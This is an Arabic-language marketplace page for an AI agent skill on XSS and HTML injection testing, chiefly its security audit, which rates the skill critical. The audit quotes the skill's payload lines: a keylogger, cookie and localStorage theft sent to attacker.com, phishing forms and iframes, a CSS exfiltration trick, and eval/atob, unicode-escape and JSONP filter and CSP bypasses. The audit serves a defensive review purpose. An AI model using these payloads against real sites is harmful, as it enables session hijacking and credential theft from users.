المهارات xss-html-injection
📦

xss-html-injection

مراجعة المحتوى r2 حرج ⚡ يحتوي على سكربتات⚙️ الأوامر الخارجية🌐 الوصول إلى الشبكة📁 الوصول إلى نظام الملفات

تقييم مخاطر XSS وحقن HTML

يمكن أن تكشف عيوب الحقن من جانب العميل الجلسات وبيانات الحساب وثقة المستخدم. تساعد هذه المهارة المختبرين المخولين على تنظيم تقييمات XSS مع إرشادات علاج واضحة.

يدعم: Claude Codex Code(CC)
⚠️ 38 ضعيف

التثبيت باستخدام Agent لدي

انسخ هذا الطلب إلى Agent لديك. يتضمن صفحة Skill المعتمدة وملف manifest.

طلب الوكيل
Review the Skillstore skill "xss-html-injection" from https://skillstore.io/skills/sickn33-xss-html-injection.md and its manifest at https://skillstore.io/api/skills/sickn33-xss-html-injection/manifest. Verify the artifact. Do not auto-install. Inspect the skill and report your findings, then wait for an operator or manual installation decision.

يجب أن يواصل Agent عرض خطته وطلب أي تأكيد تفرضه سياسة الأمان.

موارد مهيّأة لـ Agents

استخدم هذه الروابط عندما يحتاج AI Agent أو crawler أو script إلى سياق نظيف بدلًا من قراءة الصفحة كاملة.

تفاصيل Markdown GET /skills/sickn33-xss-html-injection.md manifest موقَّع GET /api/skills/sickn33-xss-html-injection/manifest lockfile موقَّع GET /api/skills/sickn33-xss-html-injection/lockfile

اختبرها

جارٍ استخدام "xss-html-injection". تعكس صفحة بحث قيمة الاستعلام في عنوان الصفحة دون ترميز ظاهر.

النتيجة المتوقعة:

يحدد الناتج خطر XSS المنعكس، ويسرد أدلة تحقق آمنة، ويشرح أثره على المستخدم، ويوصي بترميز مخرجات واع للسياق.

جارٍ استخدام "xss-html-injection". يتم تخزين نبذة الملف الشخصي وعرضها لمستخدمين آخرين مسجلين بعد الإرسال.

النتيجة المتوقعة:

يصنف الناتج خطر XSS المخزن، ويلاحظ الأدوار المتأثرة، ويقترح جمع الأدلة، ويوصي بالتنقية مع تقوية CSP.

جارٍ استخدام "xss-html-injection". تقرأ شيفرة الواجهة الأمامية جزء URL وتكتبه في رسالة ترحيب.

النتيجة المتوقعة:

يشير الناتج إلى خطر DOM XSS، ويتتبع مسار المصدر إلى المصرف، ويوصي بالإدراج النصي فقط أو استخدام منق موثوق.

التدقيق الأمني

حرج
v6 • ٧‏/٩‏/٢٠٢٦ فتح التقرير المرتبط بالإصدار

The skill is an offensive XSS testing guide with explicit authorization gates. It also supplies operational keylogging, session theft, phishing, and defense-evasion instructions that create critical misuse risk. Syntax inventories, Markdown fences, placeholder targets, and defensive limitations were dismissed as false positives.

2
الملفات التي تم فحصها
533
الأسطر التي تم تحليلها
17
عناصر المراجعة
0
تم تجاهل الإيجابيات الكاذبة

مخاوف أمنية مؤكدة (8)

حرج
references/detailed-guide.md:122
Keylogger keywords
<!-- Keylogger injection -->
The section provides a working document-wide keylogger that transmits each keystroke to an attacker endpoint.
حرج
references/detailed-guide.md:114-145references/detailed-guide.md:368-388
Actionable Credential and Session Theft Workflow
The guide teaches persistent keylogging, cookie theft, session-data capture, and credential harvesting with attacker-controlled collection endpoints.
The cited sections contain complete browser payloads that collect sensitive data and transmit it to attacker endpoints.
مرتفع
references/detailed-guide.md:371
Base64 encode
new Image().src='http://attacker.com/c='+btoa(document.cookie);
The code encodes document.cookie before transmitting it to an attacker endpoint, obscuring stolen session data.
مرتفع
references/detailed-guide.md:137-175references/detailed-guide.md:231-254
Phishing Delivery and Interface Impersonation Guidance
The guide recommends phishing channels and supplies injected forms and full-page frames that imitate trusted interfaces to capture credentials.
The text explicitly labels phishing delivery methods and provides credential forms and interface-overlay examples.
مرتفع
references/detailed-guide.md:272-323references/detailed-guide.md:391-399
Security Control Evasion Guidance
The guide catalogs encoding, obfuscation, CSP bypass, and WAF bypass methods that increase payload reliability against deployed defenses.
The cited sections explicitly present filter-bypass payloads and troubleshooting steps for bypassing CSP and WAF controls.
متوسط
references/detailed-guide.md:323
Base64 decode
<script>eval(atob('YWxlcnQoMSk='))</script> <!-- security-allowlist: controlled XSS obfuscation exam
Base64 decoding is intentionally combined with eval to conceal an executable XSS payload from filters.
متوسط
references/detailed-guide.md:304
Unicode escape sequence
<script>\u0061lert(1)</script>
The Unicode escape is presented as an encoding bypass for an executable XSS payload.
متوسط
references/detailed-guide.md:307
Unicode escape sequence
<img src=x onerror=\u0061\u006cert(1)>
The Unicode escapes conceal an event-handler payload to bypass input filtering.
عناصر مراجعة القدرات (17)

هذه قدرات محلية حقيقية قد يُتوقع وجودها لهذه المهارة، لذا فهي تتطلب مراجعة ولكن لا تُحتسب كسلوك خبيث مؤكد.

حرج
references/detailed-guide.md:125
Hardcoded URL
new Image().src='http://attacker.com/log?k='+e.key;
The URL receives each captured key from a document-wide keypress handler, forming an operational keylogger.
مرتفع
references/detailed-guide.md:314
Dynamic code evaluation with eval()
<script>eval('al'+'ert(1)')</script> <!-- security-allowlist: controlled XSS obfuscation example -->
Line 314 provides an executable eval payload designed to evade simple filters through string concatenation.
مرتفع
references/detailed-guide.md:323
Dynamic code evaluation with eval()
<script>eval(atob('YWxlcnQoMSk='))</script> <!-- security-allowlist: controlled XSS obfuscation exam
Line 323 combines Base64 decoding with eval in an executable XSS obfuscation payload.
مرتفع
references/detailed-guide.md:131
Fetch API call
fetch('http://attacker.com/capture',{
The fetch sends cookies and the current URL to an attacker endpoint as a session-hijacking payload.
مرتفع
references/detailed-guide.md:378
Fetch API call
fetch('https://attacker.com/log',{
The fetch transmits cookies, local storage, and the current URL to an attacker endpoint.
مرتفع
references/detailed-guide.md:119
Hardcoded URL
document.location='http://attacker.com/steal?c='+document.cookie
The URL receives document.cookie through a forced navigation, providing a directly usable cookie-theft payload.
مرتفع
references/detailed-guide.md:131
Hardcoded URL
fetch('http://attacker.com/capture',{
The attacker URL is the destination for exfiltrated cookies and page location data.
مرتفع
references/detailed-guide.md:140
Hardcoded URL
<form action="http://attacker.com/phish" method="POST">
The form posts usernames and passwords to an attacker endpoint while impersonating an expired login.
مرتفع
references/detailed-guide.md:241
Hardcoded URL
<form action="http://attacker.com/capture">
The injected form submits entered credentials to an attacker endpoint, enabling credential theft.
مرتفع
references/detailed-guide.md:248
Hardcoded URL
input[value^="a"]{background:url(http://attacker.com/a)}
The CSS rule makes attacker-controlled requests based on input values, demonstrating side-channel data exfiltration.
مرتفع
references/detailed-guide.md:249
Hardcoded URL
input[value^="b"]{background:url(http://attacker.com/b)}
The CSS rule leaks whether an input begins with a chosen character through an attacker-controlled request.
مرتفع
references/detailed-guide.md:253
Hardcoded URL
<iframe src="http://attacker.com/phishing" style="position:absolute;top:0;left:0;width:100%;height:1
The full-page iframe loads an attacker phishing page and can visually replace the legitimate interface.
مرتفع
references/detailed-guide.md:371
Hardcoded URL
new Image().src='http://attacker.com/c='+btoa(document.cookie);
The image request sends a Base64-encoded session cookie to an attacker endpoint.
مرتفع
references/detailed-guide.md:378
Hardcoded URL
fetch('https://attacker.com/log',{
The attacker URL receives cookies, local storage, and page location through the accompanying fetch.
مرتفع
SKILL.md:72
Hardcoded URL
i.src = 'https://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie);
The image URL transmits document.cookie to an attacker endpoint in a stored-XSS example.
مرتفع
SKILL.md:94
Hardcoded URL
https://shop.example.com/search?q=%3Cimg%20src=x%20onerror=%22fetch('https://attacker.com/log?c='+do
The crafted URL embeds a payload that sends document.cookie to an attacker endpoint and is intended for phishing delivery.
مرتفع
SKILL.md:126
Hardcoded URL
<script src="https://cdn.trusted.com/api/jsonp?callback=alert"></script>
The URL demonstrates loading a JSONP response as script to bypass an existing Content Security Policy.

عوامل الخطر

⚡ يحتوي على سكربتات (7)
references/detailed-guide.md:190 references/detailed-guide.md:314 references/detailed-guide.md:323 references/detailed-guide.md:193 references/detailed-guide.md:185 references/detailed-guide.md:189 SKILL.md:105
⚙️ الأوامر الخارجية (19)
references/detailed-guide.md:317-326 references/detailed-guide.md:326-328 SKILL.md:59-64 SKILL.md:64-69 SKILL.md:69-74 SKILL.md:74-83 SKILL.md:83-85 SKILL.md:85-88 SKILL.md:88-90 SKILL.md:90-93 SKILL.md:93-95 SKILL.md:95-104 SKILL.md:104-106 SKILL.md:106-109 SKILL.md:109-111 SKILL.md:111-120 SKILL.md:120-122 SKILL.md:122-125 SKILL.md:125-127
🌐 الوصول إلى الشبكة (26)
references/detailed-guide.md:131 references/detailed-guide.md:378 references/detailed-guide.md:119 references/detailed-guide.md:125 references/detailed-guide.md:131 references/detailed-guide.md:140 references/detailed-guide.md:155 references/detailed-guide.md:158 references/detailed-guide.md:161 references/detailed-guide.md:164 references/detailed-guide.md:218 references/detailed-guide.md:221 references/detailed-guide.md:225 references/detailed-guide.md:241 references/detailed-guide.md:248 references/detailed-guide.md:249 references/detailed-guide.md:253 references/detailed-guide.md:371 references/detailed-guide.md:378 SKILL.md:72 SKILL.md:84 SKILL.md:89 SKILL.md:94 SKILL.md:110 SKILL.md:121 SKILL.md:126
📁 الوصول إلى نظام الملفات (1)
references/detailed-guide.md:327

الأنماط المكتشفة

Keylogger keywords
دقّقه: codex عرض سجل التدقيق →
شارك واستشهد بهذا التقرير

شارك تقرير التقييم المرتبط بالإصدار والشارة المحايدة وبطاقة التضمين والاستشهادات. تعرض Skillstore الأدلة من دون أن تقرر ما إذا كانت هذه المهارة آمنة.

فتح التقرير المرتبط بالإصدار
تقييم الأمان

نسخ رابط التقرير

https://skillstore.io/skills/sickn33-xss-html-injection/audits/6?utm_source=security_passport&utm_medium=share&utm_campaign=versioned_report

شارة Markdown

[![Skillstore security assessment](https://skillstore.io/badges/skills/sickn33-xss-html-injection/security.svg)](https://skillstore.io/skills/sickn33-xss-html-injection?utm_source=security_passport_badge)

شارة HTML

<a href="https://skillstore.io/skills/sickn33-xss-html-injection?utm_source=security_passport_badge"><img src="https://skillstore.io/badges/skills/sickn33-xss-html-injection/security.svg" alt="Skillstore security assessment" loading="lazy"></a>

بطاقة قابلة للتضمين

<iframe src="https://skillstore.io/embed/skills/sickn33-xss-html-injection.html" title="Skillstore Security Assessment" sandbox="allow-popups allow-popups-to-escape-sandbox" loading="lazy" referrerpolicy="no-referrer" width="420" height="180"></iframe>
الاستشهادات الأكاديمية (APA · BibTeX · CFF)

اقتباس APA

zebbern. (2026). xss-html-injection security audit report (audit version 6) [Author version unspecified]. Skillstore. https://skillstore.io/skills/sickn33-xss-html-injection/audits/6

اقتباس BibTeX

@techreport{zebbern-sickn33-xss-html-injection-2026, author = {zebbern}, title = {xss-html-injection security audit report (audit version 6)}, institution = {Skillstore}, year = {2026}, number = {6}, url = {https://skillstore.io/skills/sickn33-xss-html-injection/audits/6}, note = {Author version unspecified} }

CITATION.cff

cff-version: 1.2.0 message: "If you use this Skill, cite its author and this versioned security audit report." title: "xss-html-injection security audit report (audit version 6)" version: "unspecified" type: report authors: - name: "zebbern" date-released: "2026-09-07" url: "https://skillstore.io/skills/sickn33-xss-html-injection/audits/6" identifiers: - type: other value: "skillstore:sickn33-xss-html-injection:audit:6" description: "Skillstore immutable audit report identifier"

تقييم Skillstore

سبب هذا التقييم موثوقية الأدلة: متوسط
41
الهندسة المعمارية
85
قابلية الصيانة
87
المحتوى
71
المجتمع
83
الامتثال للمواصفات

ما الذي يمكنك بناؤه

التحقق من مدخلات تطبيقات الويب

خطط لفحوصات XSS مخولة عبر النماذج والملفات الشخصية والتعليقات ومعاملات URL.

إعداد تقارير العملاء

حوّل سلوك الحقن المرصود إلى ملاحظات واضحة حول الخطورة والأثر والعلاج.

مراجعة تدفقات بيانات الواجهة الأمامية

تتبع البيانات التي يتحكم بها المتصفح إلى مصارف DOM قبل الإصدار.

جرّب هذه الموجّهات

العثور على مناطق اختبار XSS 
اسرد مناطق اختبار XSS وحقن HTML المحتملة لهذا التطبيق المخول: [describe pages, forms, and user roles].
تخطيط تحقق آمن 
أنشئ خطة تحقق XSS غير مدمرة لهذه الميزة ضمن النطاق: [feature]. ضمّن المدخلات والانعكاسات المتوقعة والأدلة المطلوب جمعها.
تحليل تدفق DOM 
راجع وصف تدفق بيانات DOM هذا بحثا عن مخاطر XSS: [sources, transformations, sinks]. اشرح قابلية الاستغلال المحتملة والأنماط الأكثر أمانا.
كتابة تقرير علاج 
حوّل ملاحظات اختبار XSS هذه إلى نتيجة جاهزة للعميل تتضمن الخطورة والأثر وملخص إعادة الإنتاج والسبب الجذري والعلاج: [observations].

أفضل الممارسات

  • استخدم فقط حسابات ضمن النطاق ونطاقات معتمدة وبيانات غير إنتاجية.
  • اجمع لقطات شاشة وطلبات واستجابات وملاحظات المتصفح لكل نتيجة.
  • رتب العلاج حسب الأولوية باستخدام ترميز المخرجات وواجهات DOM API الآمنة والتنقية وCSP.

تجنب

  • لا تختبر أهدافا دون تفويض كتابي.
  • لا تجمع بيانات اعتماد حقيقية أو رموز جلسات أو بيانات شخصية.
  • لا تشارك روابط إيصال الاستغلال مع مستخدمين خارج النطاق المعتمد.

الأسئلة المتكررة

هل هذه المهارة مخصصة للاختبار المخول فقط؟
نعم. استخدمها فقط مع تفويض كتابي ونطاق محدد وتعامل معتمد مع أي أدلة حساسة.
هل يمكنها تأكيد XSS تلقائيا؟
لا. توفر بنية للتقييم، لكن التأكيد يتطلب اختبارا مضبوطا وأدلة من التطبيق الهدف.
هل تغطي XSS المستند إلى DOM؟
نعم. تشرح كيفية مراجعة المصادر التي يتحكم بها المتصفح ومصارف DOM الخطرة.
هل تتضمن إرشادات علاج؟
نعم. تغطي ترميز المخرجات والتنقية وواجهات DOM API الأكثر أمانا ورايات ملفات تعريف الارتباط وContent Security Policy.
هل يمكن للمطورين استخدامها قبل الإصدار؟
نعم. يمكن للمطورين استخدامها لمراجعة تدفقات البيانات الخطرة وتخطيط تحقق آمن قبل النشر.
ما الأدلة التي يجب أن يتضمنها التقرير؟
ضمّن عناوين URL المتأثرة ومواقع الإدخال ولقطات الشاشة وتفاصيل الطلبات وسلوك المتصفح والأثر وخطوات العلاج الدقيقة.

تفاصيل المطور

المؤلف

zebbern

الترخيص

MIT

مراجعة Skillstore

r2

تنبيه الإصدار

لم يعلن المؤلف عن إصدار.

المستودع

https://github.com/sickn33/antigravity-awesome-skills/tree/main/skills/xss-html-injection

مرجع

b1ef80115e869b66867d4eac8e3c8dc56a393a8d

حداثة الصيانة

٧‏/٩‏/٢٠٢٦

الاستخدام

9 تنزيلات · 241 مشاهدات

بنية الملفات

📁 references/

📄 detailed-guide.md

📄 SKILL.md

المزيد من zebbern

مهارات ذات صلة

عرض الكل
📦

exploitation-knowledge

38

تقييم تقنيات الاستغلال والوصول إلى الصدفة

بواسطة CharlesKozel

تحتاج فرق الأمن إلى طريقة منظمة لمراجعة سير عمل الاستغلال وفهم المخاطر التشغيلية. تنظم هذه المهارة أساليب الاستغلال، وخيارات الحمولات، وفحوصات ما بعد الوصول للمختبرات المضبوطة أو مراجعات التدقيق.

الأمان والامتثال عرض